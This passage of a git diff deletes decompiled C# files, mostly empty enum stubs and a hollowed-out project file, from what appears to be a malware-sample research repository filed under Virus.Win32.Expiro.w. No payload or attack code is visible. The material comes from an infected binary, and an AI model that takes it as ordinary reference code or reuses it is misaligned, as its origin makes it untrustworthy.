"http://schemas.xmlsoap.org/ws/2004/09/transfer/Put"; - public const string PutResponseAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/PutResponse"; - public const string Delete = "Delete"; - public const string DeleteAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete"; - public const string DeleteResponseAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/DeleteResponse"; - public const string ResourceCreated = "ResourceCreated"; - public const string WSTransferContractName = "WS-Transfer"; - - private WSTransfer() - { - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/NEGOTIATE_MESSAGES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/NEGOTIATE_MESSAGES.cs deleted file mode 100644 index 7e0c5cb5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/NEGOTIATE_MESSAGES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: NEGOTIATE_MESSAGES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum NEGOTIATE_MESSAGES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OLECMDEXECOPT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OLECMDEXECOPT.cs deleted file mode 100644 index 3f11f619..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OLECMDEXECOPT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OLECMDEXECOPT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum OLECMDEXECOPT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OLECMDF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OLECMDF.cs deleted file mode 100644 index 62516b69..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OLECMDF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OLECMDF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum OLECMDF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OLECMDID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OLECMDID.cs deleted file mode 100644 index c8eda512..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OLECMDID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OLECMDID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum OLECMDID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OLECMDTEXTF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OLECMDTEXTF.cs deleted file mode 100644 index 5b801f3a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OLECMDTEXTF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OLECMDTEXTF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum OLECMDTEXTF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OfflineFolderStatus.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OfflineFolderStatus.cs deleted file mode 100644 index 1359ffd0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OfflineFolderStatus.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OfflineFolderStatus -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum OfflineFolderStatus -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/PIDMSI_STATUS_VALUE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/PIDMSI_STATUS_VALUE.cs deleted file mode 100644 index 064a80b3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/PIDMSI_STATUS_VALUE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: PIDMSI_STATUS_VALUE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum PIDMSI_STATUS_VALUE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/RESTRICTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/RESTRICTIONS.cs deleted file mode 100644 index 8f85af90..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/RESTRICTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RESTRICTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum RESTRICTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/RPC_ADDRESS_CHANGE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/RPC_ADDRESS_CHANGE_TYPE.cs deleted file mode 100644 index 7eead015..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/RPC_ADDRESS_CHANGE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RPC_ADDRESS_CHANGE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum RPC_ADDRESS_CHANGE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/RefreshConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/RefreshConstants.cs deleted file mode 100644 index 9415a33f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/RefreshConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RefreshConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum RefreshConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ReplacesCorHdrNumericDefines.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ReplacesCorHdrNumericDefines.cs deleted file mode 100644 index 7fcada27..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ReplacesCorHdrNumericDefines.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ReplacesCorHdrNumericDefines -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum ReplacesCorHdrNumericDefines -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/RequireAppliesToStatus.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/RequireAppliesToStatus.cs deleted file mode 100644 index a23143cc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/RequireAppliesToStatus.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RequireAppliesToStatus -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -internal enum RequireAppliesToStatus : byte -{ - NotPresent, - Optional, - Required, -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/SYSGEOCLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/SYSGEOCLASS.cs deleted file mode 100644 index 3bc5aa49..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/SYSGEOCLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SYSGEOCLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum SYSGEOCLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/SYSGEOTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/SYSGEOTYPE.cs deleted file mode 100644 index d516b797..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/SYSGEOTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SYSGEOTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum SYSGEOTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/SYSNLS_FUNCTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/SYSNLS_FUNCTION.cs deleted file mode 100644 index 74150fa4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/SYSNLS_FUNCTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SYSNLS_FUNCTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum SYSNLS_FUNCTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/SecureLockIconConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/SecureLockIconConstants.cs deleted file mode 100644 index e5ccc976..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/SecureLockIconConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SecureLockIconConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum SecureLockIconConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ShellFolderViewOptions.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ShellFolderViewOptions.cs deleted file mode 100644 index 693641a1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ShellFolderViewOptions.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ShellFolderViewOptions -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum ShellFolderViewOptions -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ShellSpecialFolderConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ShellSpecialFolderConstants.cs deleted file mode 100644 index e35820cc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ShellSpecialFolderConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ShellSpecialFolderConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum ShellSpecialFolderConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ShellWindowFindWindowOptions.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ShellWindowFindWindowOptions.cs deleted file mode 100644 index ef91a328..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ShellWindowFindWindowOptions.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ShellWindowFindWindowOptions -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum ShellWindowFindWindowOptions -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ShellWindowTypeConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ShellWindowTypeConstants.cs deleted file mode 100644 index ac521147..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ShellWindowTypeConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ShellWindowTypeConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum ShellWindowTypeConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/TrustDecision.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/TrustDecision.cs deleted file mode 100644 index ee9de4af..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/TrustDecision.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: TrustDecision -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum TrustDecision -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/VARENUM.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/VARENUM.cs deleted file mode 100644 index 5ee564c7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/VARENUM.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: VARENUM -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum VARENUM -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Virus.Win32.Expiro.w.csproj b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Virus.Win32.Expiro.w.csproj deleted file mode 100644 index c72688fd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Virus.Win32.Expiro.w.csproj +++ /dev/null @@ -1,733 +0,0 @@ - - - - - Debug - AnyCPU - {9F2DE1E3-7F6A-4C94-AF27-6CA1F6CAB583} - Exe - infocard - 3.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - true - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Virus.Win32.Expiro.w.sln b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Virus.Win32.Expiro.w.sln deleted file mode 100644 index 6ce6b9a3..00000000 --- 